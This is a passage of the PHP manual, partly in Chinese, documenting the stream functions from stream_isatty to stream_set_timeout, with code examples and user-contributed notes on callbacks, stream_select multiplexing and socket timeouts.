The function stream_is_local() does not work with remote mounts points, like sshfs mount points (it will return true as if it was local).


Check if a stream is a TTY

  • ? stream_is_local
  • stream_notification_callback ?
  • PHP Manual
  • Stream 函数
  • Check if a stream is a TTY

stream_isatty

(PHP 7 >= 7.2.0, PHP 8)

stream_isatty — Check if a stream is a TTY

说明

stream_isatty(resource $stream): bool

Determines if stream stream refers to a valid terminal type device. This is a more portable version of posix_isatty(), since it works on Windows systems too.

参数

stream

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 stream_isatty() example

This command can be used to determine if a standard output / standard error stream is redirected to a file.

php -r "var_export(stream_isatty(STDERR));"

以上示例的输出类似于：

true
php -r "var_export(stream_isatty(STDERR));" 2>output.txt

以上示例的输出类似于：

false

User Contributed Notes

There are no user contributed notes for this page.


A callback function for the notification context parameter

  • ? stream_isatty
  • stream_register_wrapper ?
  • PHP Manual
  • Stream 函数
  • A callback function for the notification context parameter

stream_notification_callback

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

stream_notification_callback — A callback function for the notification context parameter

说明

stream_notification_callback(
int $notification_code,
int $severity,
?string $message,
int $message_code,
int $bytes_transferred,
int $bytes_max
): void

A callable function, used by the notification context parameter, called during an event.

Note:

This is not a real function, only a prototype of how the function should be.

参数

notification_code

One of the STREAM_NOTIFY_* notification constants.

severity

One of the STREAM_NOTIFY_SEVERITY_* notification constants.

message

Passed if a descriptive message is available for the event.

message_code

Passed if a descriptive message code is available for the event.

The meaning of this value is dependent on the specific wrapper in use.

bytes_transferred

If applicable, the bytes_transferred will be populated.

bytes_max

If applicable, the bytes_max will be populated.

返回值

没有返回值。

示例

Example #1 stream_notification_callback() example

<?php
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {

switch($notification_code) {
case STREAM_NOTIFY_RESOLVE:
case STREAM_NOTIFY_AUTH_REQUIRED:
case STREAM_NOTIFY_COMPLETED:
case STREAM_NOTIFY_FAILURE:
case STREAM_NOTIFY_AUTH_RESULT:
var_dump($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max);
/* Ignore */
break;

case STREAM_NOTIFY_REDIRECTED:
echo "Being redirected to: ", $message;
break;

case STREAM_NOTIFY_CONNECT:
echo "Connected...";
break;

case STREAM_NOTIFY_FILE_SIZE_IS:
echo "Got the filesize: ", $bytes_max;
break;

case STREAM_NOTIFY_MIME_TYPE_IS:
echo "Found the mime-type: ", $message;
break;

case STREAM_NOTIFY_PROGRESS:
echo "Made some progress, downloaded ", $bytes_transferred, " so far";
break;
}
echo "\n";
}

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

file_get_contents("http://php.net/contact", false, $ctx);
?>

以上示例的输出类似于：

Connected...
Found the mime-type: text/html; CHARSET=gb2312
Being redirected to: http://no.php.net/contact
Connected...
Got the filesize: 0
Found the mime-type: text/html; CHARSET=gb2312
Being redirected to: http://no.php.net/contact.php
Connected...
Got the filesize: 4589
Found the mime-type: text/html;CHARSET=gb2312
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 1440 so far
Made some progress, downloaded 2880 so far
Made some progress, downloaded 4320 so far
Made some progress, downloaded 5760 so far
Made some progress, downloaded 6381 so far
Made some progress, downloaded 7002 so far

Example #2 Simple progressbar for commandline download client

<?php
function usage($argv) {
echo "Usage:\n";
printf("\tphp %s <http://example.com/file> <localfile>\n", $argv[0]);
exit(1);
}

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
static $filesize = null;

switch($notification_code) {
case STREAM_NOTIFY_RESOLVE:
case STREAM_NOTIFY_AUTH_REQUIRED:
case STREAM_NOTIFY_COMPLETED:
case STREAM_NOTIFY_FAILURE:
case STREAM_NOTIFY_AUTH_RESULT:
/* Ignore */
break;

case STREAM_NOTIFY_REDIRECTED:
echo "Being redirected to: ", $message, "\n";
break;

case STREAM_NOTIFY_CONNECT:
echo "Connected...\n";
break;

case STREAM_NOTIFY_FILE_SIZE_IS:
$filesize = $bytes_max;
echo "Filesize: ", $filesize, "\n";
break;

case STREAM_NOTIFY_MIME_TYPE_IS:
echo "Mime-type: ", $message, "\n";
break;

case STREAM_NOTIFY_PROGRESS:
if ($bytes_transferred > 0) {
if (!isset($filesize)) {
printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
} else {
$length = (int)(($bytes_transferred/$filesize)*100);
printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
}
}
break;
}
}

isset($argv[1], $argv[2]) or usage($argv);

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

$fp = fopen($argv[1], "r", false, $ctx);
if (is_resource($fp) && file_put_contents($argv[2], $fp)) {
echo "\nDone!\n";
exit(0);
}

$err = error_get_last();
echo "\nErrrrrorr..\n", $err["message"], "\n";
exit(1);
?>

Executing the example above with: php -n fetch.php http://no2.php.net/get/php-5-LATEST.tar.bz2/from/this/mirror php-latest.tar.bz2 will output something similar too:

Connected...
Mime-type: text/html; CHARSET=gb2312
Being redirected to: http://no2.php.net/distributions/php-5.2.5.tar.bz2
Connected...
Filesize: 7773024
Mime-type: application/octet-stream
[========================================>                                                           ] 40% (3076/7590 kb)

参见

  • Context 参数

User Contributed Notes

aetonsi 29-Nov-2022 03:51
A couple of unreported behaviors:
- case 1) if this callback calls die/exit($msg), it will print $msg, then the execution will go on until the request/wrapper is consumed, emitting a "PHP Warning: Failed to call user notifier" on each invocation of the callback. After the last callback invocation, the script is immediately terminated.
- case 2) if this callback throws an exception, it will behave the same way as exit/die, except for the fact that after the last callback invocation it does not terminate the script. The exception is instead raised in the scope of the request/wrapper, and can be caught with a try catch (right there or at a higher level).

Example code for case 1). The final "TEST ECHO" string will NOT be printed.
<?php
$context = stream_context_create(['http' => ['ignore_errors' => true,]]);
stream_context_set_params($context, ['notification' => function () {
    die('error');
}]);

file_get_contents('https://www.google.com', false, $context);
echo "TEST ECHO";
?>

Example code for case 2). The exception is raised at the level of the file_get_contents call, it's catched, and the final "TEST ECHO" gets printed.
<?php
$context = stream_context_create(['http' => ['ignore_errors' => true,]]);
stream_context_set_params($context, ['notification' => function () {
    throw new Exception('...');
}]);

try{
    file_get_contents('https://www.google.com', false, $context);
}catch(exception $e) { }
echo "TEST ECHO";
?>
billynoah at gmail dot com 16-Jun-2017 10:58
A couple of notes regarding the examples here (I'm using PHP 7.0.18):

1) fopen() did not provide STREAM_NOTIFY_PROGRESS for me but `file_get_contents()` worked fine.

2) The bytes transferred when transferring a zip file seems to always be shy by 8192 (8k).  This varies depending on filetype and also breaks STREAM_NOTIFY_PROGRESS when the filesize is below 8k.  I modified the function and it's now displaying the correct amount transferred and percentage downloaded on zip files above 8k.  I'm not sure why the callback is so inconsistent but hopefully this is helpful to someone.  This was also modified to only display progress:

<?php

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));
$fileData = @file_get_contents('http://example.com/test.zip',false,$ctx);

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
    static $filesize = null;
    switch($notification_code) {
    case STREAM_NOTIFY_FILE_SIZE_IS:
        $filesize = $bytes_max;
        break;
    case STREAM_NOTIFY_CONNECT:
        echo "Connected...\n";
        break;
    case STREAM_NOTIFY_PROGRESS:
        if ($bytes_transferred > 0 && $filesize >= 8192) {
            $bytes_transferred += 8192;
            if (!isset($filesize)) {
                printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
            } else {
                $length = (int)(($bytes_transferred/$filesize)*100);
                printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
            }
        }
        break;
    }
}
?>
recycling dot sp dot am at gmail dot com 10-Sep-2010 05:08
Please note that the callback function never gets called when the stream is (at least) of type socket. It is probably the same for the file:// proto although I've not done further tests.

I'm using php 5.3.3.


别名 stream_wrapper_register

  • ? stream_notification_callback
  • stream_resolve_include_path ?
  • PHP Manual
  • Stream 函数
  • 别名 stream_wrapper_register

stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_register_wrapper — 别名 stream_wrapper_register()

说明

此函数是该函数的别名： stream_wrapper_register().

User Contributed Notes

There are no user contributed notes for this page.


Resolve filename against the include path

  • ? stream_register_wrapper
  • stream_select ?
  • PHP Manual
  • Stream 函数
  • Resolve filename against the include path

stream_resolve_include_path

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

stream_resolve_include_path — Resolve filename against the include path

说明

stream_resolve_include_path(string $filename): string|false

Resolve filename against the include path according to the same rules as fopen()/include.

参数

filename

The filename to resolve.

返回值

Returns a string containing the resolved absolute filename, 或者在失败时返回 false.

示例

Example #1 stream_resolve_include_path() example

Basic usage example.

<?php
var_dump(stream_resolve_include_path("test.php"));
?>

以上示例的输出类似于：

string(22) "/var/www/html/test.php"

User Contributed Notes

kawewong at gmail dot com 07-Feb-2021 07:42
In some case like this, you can't use `realpath()` or `file_exists()` without resolve its path.

Example:

file.php
subfolder/
..|- included.php
..|- subfolder/
.........|- another-included.php

file.php contents:
```
<?php
var_dump(file_exists('subfolder/included.php'));// true
include 'subfolder/included.php';
?>
```

subfolder/included.php contents:
```
<?php
var_dump(file_exists('subfolder/another-included.php'));// false but the file is really exists.
var_dump(file_exists(stream_resolve_include_path('subfolder/another-included.php')));// with `stream_resolve_include_path()` function, it returns true now.
include 'subfolder/another-included.php';// working fine, no errors.
?>
```

subfolder/subfolder/another-included.php contents:
```
<?php
echo 'Hello world';
?>
```
zelnaga at gmail dot com 17-Jun-2014 02:48
In case you're running a version of PHP that doesn't have this function...

if (!function_exists('stream_resolve_include_path')) {
    /**
     * Resolve filename against the include path.
     *
     * stream_resolve_include_path was introduced in PHP 5.3.2. This is kinda a PHP_Compat layer for those not using that version.
     *
     * @param Integer $length
     * @return String
     * @access public
     */
    function stream_resolve_include_path($filename)
    {
        $paths = PATH_SEPARATOR == ':' ?
            preg_split('#(?<!phar):#', get_include_path()) :
            explode(PATH_SEPARATOR, get_include_path());
        foreach ($paths as $prefix) {
            $ds = substr($prefix, -1) == DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR;
            $file = $prefix . $ds . $filename;

            if (file_exists($file)) {
                return $file;
            }
        }

        return false;
    }
}
tambet dot matiisen at gmail dot com 28-Mar-2013 12:26
stream_resolve_include_path() seems to cache it's output. After I renamed a file, I had to restart Apache for stream_resolve_include_path() to not return non-existing file name. This was on Windows.
kontakt at victorjonsson dot se 25-Apr-2012 08:13
This seems to be a great alternative to file_exists.

if( file_exists(__DIR__.'/som-file.php') )

Goes way slower than:

if( stream_resolve_inlcude_path(__DIR__.'/som-file.php') !== false)
sebastian dot krebs at kingcrunch dot de 16-Feb-2011 03:03
It really behaves like `include` and will only resolve the filename against the include-path, if the path is relative. It makes not much sense to resolve already absolute pathnames anyway.


Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds

  • ? stream_resolve_include_path
  • stream_set_blocking ?
  • PHP Manual
  • Stream 函数
  • Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds

stream_select

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds

说明

stream_select(
?array &$read,
?array &$write,
?array &$except,
?int $seconds,
?int $microseconds = null
): int|false

The stream_select() function accepts arrays of streams and waits for them to change status. Its operation is equivalent to that of the socket_select() function except in that it acts on streams.

参数

read

The streams listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a stream resource is also ready on end-of-file, in which case an fread() will return a zero length string).

write

The streams listed in the write array will be watched to see if a write will not block.

except

The streams listed in the except array will be watched for high priority exceptional ("out-of-band") data arriving.

Note:

When stream_select() returns, the arrays read, write and except are modified to indicate which stream resource(s) actually changed status. The original keys of the arrays are preserved.

seconds

The seconds and microseconds together form the timeout parameter, seconds specifies the number of seconds while microseconds the number of microseconds. The timeout is an upper bound on the amount of time that stream_select() will wait before it returns. If seconds and microseconds are both set to 0, stream_select() will not wait for data - instead it will return immediately, indicating the current status of the streams.

If seconds is null stream_select() can block indefinitely, returning only when an event on one of the watched streams occurs (or if a signal interrupts the system call).

Warning

Using a timeout value of 0 allows you to instantaneously poll the status of the streams, however, it is NOT a good idea to use a 0 timeout value in a loop as it will cause your script to consume too much CPU time.

It is much better to specify a timeout value of a few seconds, although if you need to be checking and running other code concurrently, using a timeout value of at least 200000 microseconds will help reduce the CPU usage of your script.

Remember that the timeout value is the maximum time that will elapse; stream_select() will return as soon as the requested streams are ready for use.

microseconds

See seconds description.

返回值

On success stream_select() returns the number of stream resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error false is returned and a warning raised (this can happen if the system call is interrupted by an incoming signal).

更新日志

版本 | 说明
8.1.0 | microseconds is now nullable.

示例

Example #1 stream_select() Example

This example checks to see if data has arrived for reading on either $stream1 or $stream2. Since the timeout value is 0 it will return immediately:

<?php
/* Prepare the read array */
$read = array($stream1, $stream2);
$write = NULL;
$except = NULL;
if (false === ($num_changed_streams = stream_select($read, $write, $except, 0))) {
/* Error handling */
} elseif ($num_changed_streams > 0) {
/* At least on one of the streams something interesting happened */
}
?>

注释

Note:

Due to a limitation in the current Zend Engine it is not possible to pass a constant modifier like null directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:

<?php
$e = NULL;
stream_select($r, $w, $e, 0);
?>

Note:

Be sure to use the === operator when checking for an error. Since the stream_select() may return 0 the comparison with == would evaluate to true:

<?php
$e = NULL;
if (false === stream_select($r, $w, $e, 0)) {
echo "stream_select() failed\n";
}
?>

Note:

If you read/write to a stream returned in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.

Note:

Some streams (like zlib) cannot be selected by this function.

Note: Windows compatibility

Use of stream_select() on file descriptors returned by proc_open() will fail and return false under Windows.

STDIN from a console changes status as soon as any input events are available, but reading from the stream may still block.

参见

  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式

User Contributed Notes

Sitsofe 04-Feb-2019 06:52
When stream_select() fails you SHOULD NOT use the results of the arrays (i.e. read, write, except) that were passed into it as parameters. While doing so anyway won't trigger undefined behaviour, you are depending on unspecified behaviour that by definition is not guaranteed.

At the time of writing the PHP 7.2 interpreter does not modify the arrays upon stream_select() failure (see the code around https://github.com/php/php-src/blob/php-7.2.14/ext/standard/streamsfuncs.c#L842) thus a PHP program that doesn't heed the advice above can deceive itself as to the state of those streams.

(Hopefully this warning can be added to the main documentation one day)
Martin 15-Jun-2018 11:17
Maintaining connection with multiple clients can be tricky, PHP script is single-thread process, so if you like to do more than one thing at once (like waiting for new connections and waiting for new data), you'll have to use some sort of multiplexing.

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr, STREAM_SERVER_BIND | STREAM_SERVER_LISTEN);
stream_set_blocking($socket, 0);

$connections = [];
$read = [];
$write = null;
$except = null;

while (1) {

    // look for new connections
    if ($c = @stream_socket_accept($socket, empty($connections) ? -1 : 0, $peer)) {
        echo $peer.' connected'.PHP_EOL;
        fwrite($c, 'Hello '.$peer.PHP_EOL);
        $connections[$peer] = $c;
    }

    // wait for any stream data
    $read = $connections;
    if (stream_select($read, $write, $except, 5)) {

        foreach ($read as $c) {
            $peer = stream_socket_get_name($c, true);

            if (feof($c)) {
                echo 'Connection closed '.$peer.PHP_EOL;
                fclose($c);
                unset($connections[$peer]);
            } else {
                $contents = fread($c, 1024);
                echo $peer.': '.trim($contents).PHP_EOL;
            }
        }
    }
}
?>
asphp at dsgml dot com 04-Feb-2016 09:28
Make sure not to pass the same variable in the 3 arguments to stream_select, or you'll only get the results from one of them and the others will be overwritten.
doingitwrong at mailismagic dot com 17-Jun-2015 10:35
If you use stream_select() with a blocking stream, you are doing it wrong!

Just because this function returns something in one or more of the arrays does NOT mean that a future read or write operation will not block.

The above sentence is the most important sentence you will ever read regarding stream manipulation.  Using stream_select() with blocking streams is a very common amateur mistake and causes major headaches when tracking down usage of this and similar select() system functions.  PHP (and really the underlying OS) should verify that the supplied stream set is not blocking and throw an error/exception if any socket is set to block so that people are forced to fix their code.  The documentation for stream_select() is, at best, misleading.

If you want a non-blocking stream, then set the stream to not block.  Otherwise, live with the blocking stream.  That is, after all, the whole point of blocking - to block indefinitely until the operation completes.  select() is built for non-blocking streams ONLY.  Any other use will result in very hard to track down bugs.

I got the above lecture many years ago after encountering the very bugs I mention.  I fixed my code and now correct similar mistakes when I run into the issue elsewhere.  Writing code for non-blocking streams is simpler than trying to write hacks for blocking streams with select() functions and ending up with application bugs.
rob at associatedtechs dot com 18-Jul-2014 12:26
If you try to use stream_select() with fread(), you may get bit by a combination of bugs (https://bugs.php.net/bug.php?id=52602 and https://bugs.php.net/bug.php?id=51056). As of PHP 5.5.10, fread() and stream_select() don't reliably play well together.

If you need stream_select() and you don't need an encrypted connection (e.g. TLS), use stream_socket_recvfrom() instead of fread().

I can't find a way to reliably handle an encrypted connection with blocking functions in PHP; non-blocking might be the only way to do it.
mark2xv at gmail dot com 20-Aug-2013 04:52
If you're getting unexplainable problems with nonblocking sockets using stream_select, disable the buffers using:

stream_set_read_buffer($socket, 0);
stream_set_write_buffer($socket, 0);

For some reason when writing (in total) ~256k, sockets start returning FALSE when reading, yet always appear in the stream_select arrays. This fixed that problem. (for us.)
aks at esoft dot dk 10-Nov-2010 07:56
stream_select() looks deceptively like a simple wrapper around POSIX select(2).

But beware: while select(2) allows you to pass no file descriptors and use it as a "portable subsecond sleep", PHP will complain with "Warning: stream_select(): No stream arrays were passed in ****" if all arrays are empty or null, and it WONT sleep, it will return immediately. So... if the number of file descriptors you have isn't static, you have to deal with the special case yourself.
lynch at php dot net 15-Mar-2010 12:48
Note: At least one of the input arrays must be non-empty, or you get an E_WARNING message:
PHP Warning:  stream_select(): unable to select [9]: Bad file descriptor (max_fd=0) in
jerrywilborn at gmail dot com 27-Jul-2009 10:55
http://bugs.php.net/bug.php?id=42682

This function will not return the number of changed streams under certain systems with older versions, but instead it will return '0'. Be careful.
php at richardneill dot org 04-Jul-2009 07:45
Note that reading from a regular file which is on end-of-file will *not* block. You'll get a non-blocking, zero-byte read.  However, stream_select *will* block if the input is a pipe, and there is no more data to be had.
Maxdamantus 29-Sep-2007 10:28
Simple stream_select wrapper.. Returns the first stream in the array, and sets parameter 2 to the key (So that it is easy to identify what received data):

<?php
function select($array, &$vkey, $timeout=0){
    $select = array();
    $null = NULL;
    foreach($array as $key => $sock){
        $x = count($select);
        $select[$x] = $sock;
        $keys[$x] = $key;
    }
    if(stream_select($select, $null, $null, $timeout)){
        foreach($keys as $key){
            if($array[$key] == $select[0]){
                $vkey = $key;
                return($select[0]);
            }
        }
    }
}

$streams = array("foo" => $stream_one, "bar" => $stream_two); // Create an array of two (already existant) streams.
if($new = select($streams, $key, 60)){ //Sets $new to the resource that next gets new data, and $key to either "foo", or "bar", depending which one it is.
    echo $key.":".stream_get_line($new, 2048)."\n";
}
?>
bluej100@gmail 21-Aug-2007 04:31
@mbaynton at gmail dot com

A handy syntactic trick:

<?php
$r = Array($stream1, $stream2);
stream_select($r, $w = null, $x = null, 1337);
?>

I've seen it recommended elsewhere in the documentation for clarifying magic arguments so maintainers don't have to go check the function itself, but it also solves your problem here.
Ben 01-Feb-2007 05:35
You can key on file descriptors just fine by casting them to an int or a string, which returns what you would expect.
maartenwolzak at gmail dot com 25-Jan-2007 01:36
Note that you should change the calctimeout function below to divide the outcome by 1.000.000 otherwise you'll be waiting for two years instead of one minute for the socket to timeout...

<?php

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
   return ($maxtime - ((microtime(true) - $starttime) * 1000000))/1000000;
}

?>
aidan at aidans dot org 07-Dec-2006 07:53
Note that contrary to what the previous poster said, one is not able to use a stream resource as a key for an array. Rather, if you want to know which socket you are dealing with, consider using code similar to this:

<?php
$sockets = array("sock_1" => $sock1, "sock_2" => $sock2, "sock_3" => $sock_3);

$read = $write = $error = $sockets;
$num = stream_select($read, $write, $error, 10);
if ($n > 0) {
    foreach ($read as $r) {
        $key = array_search($r, $sockets);
        // $key will be "sock_1", "sock_2", "sock_3", etc.
    }
}
?>

Hope that helps someone out there!
phpdoc at shemesh dot biz 14-Mar-2005 01:33
Please note that, on return, the key of "read" will be zero based, serially numbered according to the streams for which there is read data ready only. In other words, if you want to know which of the original streams placed in "read" is ready, there is no immediate way of knowing that.

If you want to know which of the original stream is which, you can either use "==", or possibly set a reverse map array, in which the stream is the key, and the key to the original "read" array is the data.
aidan at php dot net 22-Jun-2004 11:30
If you want to set an absolute maximum execution time for stream_select in a loop, it's important to decrement the max_time value passed to stream_select.

<?php
// The maximum time for execution in milliseconds
$maxtime = 200000;
// The time the loop started
$starttime = microtime(true);
// Original array of sockets
$r = $orig_sockets;

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
    return $maxtime - ((microtime(true) - $starttime) * 1000000);
}

while (stream_select($r, $w = null, $e = null, 0, calctimeout($maxtime, $starttime)) !== 0)
{
    // loop through the sockets that showed activity
    foreach ($r as $socket) {
        // $socket talked
    }

    // stream_select modifies the contents of $r
    // in a loop we should replace it with the original
    $r = $orig_sockets;
}

?>


为资源流设置阻塞或者阻塞模式

  • ? stream_select
  • stream_set_chunk_size ?
  • PHP Manual
  • Stream 函数
  • 为资源流设置阻塞或者阻塞模式

stream_set_blocking

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_blocking — 为资源流设置阻塞或者阻塞模式

说明

stream_set_blocking(resource $stream, bool $enable): bool

为 stream 设置阻塞或者非阻塞模式。

此函数适用于支持非阻塞模式的任何资源流（常规文件，套接字资源流等）。

参数

stream

资源流。

enable

如果 enable 为 false，资源流将会被转换为非阻塞模式；如果是 true，资源流将会被转换为阻塞模式。 该参数的设置将会影响到像 fgets() 和 fread() 这样的函数从资源流里读取数据。 在非阻塞模式下，调用 fgets() 总是会立即返回；而在阻塞模式下，将会一直等到从资源流里面获取到数据才能返回。

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

在 Windows 系统上，这对本地文件没有影响。Windows 不支持本地文件的非阻塞 IO。

参见

  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds

User Contributed Notes

ayon at hyurl dot com 21-Feb-2017 01:38
It is necessary to be noted that stream_set_blocking() and stream_set_timeout() does not work width standard I/O streams, such as STDIN and STDOUT.
Anonymous 04-Jan-2013 07:38
On Windows this function does not work with pipes opened with proc_open (https://bugs.php.net/bug.php?id=47918, https://bugs.php.net/bug.php?id=34972, https://bugs.php.net/bug.php?id=51800)
MagicalTux at ookoo dot org 07-Sep-2006 11:13
When you use fwrite() on a non-blocking stream, data isn't discarded silently as t dot starling said.

Remember that fwrite() returns an int, and this int represents the amount of data really written to the stream. So, if you see that fwrite() returns less than the amount of written data, it means you'll have to call fwrite() again in the future to write the remaining amount of data.

You can use stream_select() to wait for the stream to be available for writing, then continue writing data to the stream.

Non-blocking streams are useful as you can have more than one non-blocking stream, and wait for them to be available for writing.


设置资源流区块大小

  • ? stream_set_blocking
  • stream_set_read_buffer ?
  • PHP Manual
  • Stream 函数
  • 设置资源流区块大小

stream_set_chunk_size

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

stream_set_chunk_size — 设置资源流区块大小

说明

stream_set_chunk_size(resource $stream, int $size): int

设置资源流区块大小。

参数

stream

目标资源流。

size

想设置的新的区块大小。

返回值

成功的情况下返回资源流之前的区块大小。

错误／异常

当 size 比 1 小或者比 PHP_INT_MAX 还大的时候将抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 当 size 比 1 小或者比 PHP_INT_MAX 还大的时候现在会抛出 ValueError。之前产生 E_WARNING 级别的错误并返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set read file buffering on the given stream

  • ? stream_set_chunk_size
  • stream_set_timeout ?
  • PHP Manual
  • Stream 函数
  • Set read file buffering on the given stream

stream_set_read_buffer

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

stream_set_read_buffer — Set read file buffering on the given stream

说明

stream_set_read_buffer(resource $stream, int $size): int

Sets the read buffer. It's the equivalent of stream_set_write_buffer(), but for read operations.

参数

stream

The file pointer.

size

The number of bytes to buffer. If size is 0 then read operations are unbuffered. This ensures that all reads with fread() are completed before other processes are allowed to read from that input stream.

返回值

Returns 0 on success, or another value if the request cannot be honored.

参见

  • stream_set_write_buffer() - Sets write file buffering on the given stream

User Contributed Notes

There are no user contributed notes for this page.


Set timeout period on a stream

  • ? stream_set_read_buffer
  • stream_set_write_buffer ?
  • PHP Manual
  • Stream 函数
  • Set timeout period on a stream

stream_set_timeout

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_timeout — Set timeout period on a stream

说明

stream_set_timeout(resource $stream, int $seconds, int $microseconds = 0): bool

Sets the timeout value on stream, expressed in the sum of seconds and microseconds.

When the stream times out, the 'timed_out' key of the array returned by stream_get_meta_data() is set to true, although no error/warning is generated.

参数

stream

The target stream.

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 stream_set_timeout() example

<?php
$fp = fsockopen("www.example.com", 80);
if (!$fp) {
echo "Unable to open\n";
} else {

fwrite($fp, "GET / HTTP/1.0\r\n\r\n");
stream_set_timeout($fp, 2);
$res = fread($fp, 2000);

$info = stream_get_meta_data($fp);
fclose($fp);

if ($info['timed_out']) {
echo 'Connection timed out!';
} else {
echo $res;
}

}
?>

注释

Note:

This function doesn't work with advanced operations like stream_socket_recvfrom(), use stream_select() with timeout parameter instead.

This function was previously called as set_socket_timeout() and later socket_set_timeout() but this usage is deprecated.

参见

  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • fopen() - 打开文件或者 URL

User Contributed Notes

burninleo at gmx dot net 10-Jan-2016 01:15
If the timeout fails, because the server remains completely silent, one may have to add stream_select() to make the timeout work. This may be much more efficient that a non-blocking reading operation.

<?php
stream_set_timeout($c, $timeout);
$data = '';
$stR = array($this->smtp_conn);
$stW = null;
while (is_resource($c) && !feof($c)) {
    if (!stream_select($stR, $stW, $stW, $timeout)) {
        trigger_error('Timeout');
        break;
    }
    $str = fgets($c, 515);
    $data.= $str;

    // Handling of "traditional" timeout
    $info = stream_get_meta_data($c);
     if ($info['timed_out']) {
        trigger_error('Timeout');
        break;
    }
}
?>

Background: We had issues with a SMTP server that was addresses unencrypted while expecting TLS encryption. The stream_set_timeout() alone did not work as expected and the script hung for an hour or more.
burninleo at gmx dot net 09-Jan-2016 11:06
Another note alread states that blocking-reads may be an issue, if the counterpart responds very slowly - or not at all. The stream timeout may not work as expected in such a situation.

However, php.net provides very little information on how to use non-blocking reading operations. Here's a code sample:

<?php
        stream_set_timeout($c, $timeout);
        $data = '';
        while (is_resource($c) && !feof($c)) {
            // Use non-blocking reading for first loop
            if (($data === '') and ($timeout > 0)) {
                stream_set_blocking($c, false);
                $endtimeOut = time() + $timeout;
                $str = '';
                while ((time() < $endtimeOut) and (strlen($str) < 515) and !feof($c)) {
                    sleep(1);  // Note: This may require tuning
                    $str.= fgets($c, 515);
                }
                // Handling first-read timeout
                if (time() >= $endtimeOut) {
                    trigger_error('Timeout', E_USER_WARNING);
                    break;
                }
                stream_set_blocking($c, true);
            } else {
                $str = fgets($c, 515);
            }
            $data.= $str;

            // Handling of "traditional" timeout
            $info = stream_get_meta_data($c);
            if ($info['timed_out']) {
                    trigger_error('Timeout', E_USER_WARNING);
                    break;
            }
        }
?>
jack.whoami 27-May-2014 08:25
Just in case someone stumbles into my situation... I was trying to get the microseconds part to work and it just wasn't working as expected.

Assuming blocking mode is true and I use

<?php stream_set_timeout($s, 1, 0);?>

I get a 1s delay as expected. However when I do

<?php stream_set_timeout($s, 0, 500);?>

I expect a 500microsecond delay but I get no delays at all. However when i do this

<?php stream_set_timeout($s, 0, 500000);?>

I get a 500 microsecond delay which is what I was expecting
emailfire at gmail dot com 18-May-2011 01:28
This function seems to have no effect when running as a CLI script, see http://bugs.php.net/bug.php?id=36030
hamishcool3 at yahoo dot co dot uk 29-Oct-2010 09:29
In case anyone is puzzled, stream_set_timeout DOES NOT work for sockets created with socket_create or socket_accept. Use socket_set_option instead.

Instead of:
<?php
stream_set_timeout($socket,$sec,$usec);
?>

Use:
<?php
socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec'=>$sec, 'usec'=>$usec));
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec'=>$sec, 'usec'=>$usec));
?>
mildly dull at terriblyclever dot com 29-Nov-2009 05:53
I didn't have much luck with the suggestions below (although I likely applied them wrong).
Instead, I used stream_context_create() and set an http option for timeout. I fed that context into file_get_contents() and voila!

To my desperate friend below: the https transport can also use the http stream context options. I haven't verified this works as I don't have a slow responding ssl to test on. But if you are still stressing, give the below a shot (you may need to modify a bit...)

<?php
    $timeout = 5*60;
    $options = array(
          'http'=>array(
            'method'=>"GET",
            'header'=>"Accept-language: en\r\n",
              'timeout' => $timeout
              )
        );
    $context = stream_context_create($options);
    $contents = file_get_contents($source, false, $context);
?>

Yes...that is a 5 minute timeout.
Martin Butt - martin at anti_spambutt.cx 12-Mar-2007 09:39
Here is a working example for loops:

<?php
// Timeout in seconds
$timeout = 5;

$fp = fsockopen("www.server.com", 80, $errno, $errstr, $timeout);

if ($fp) {
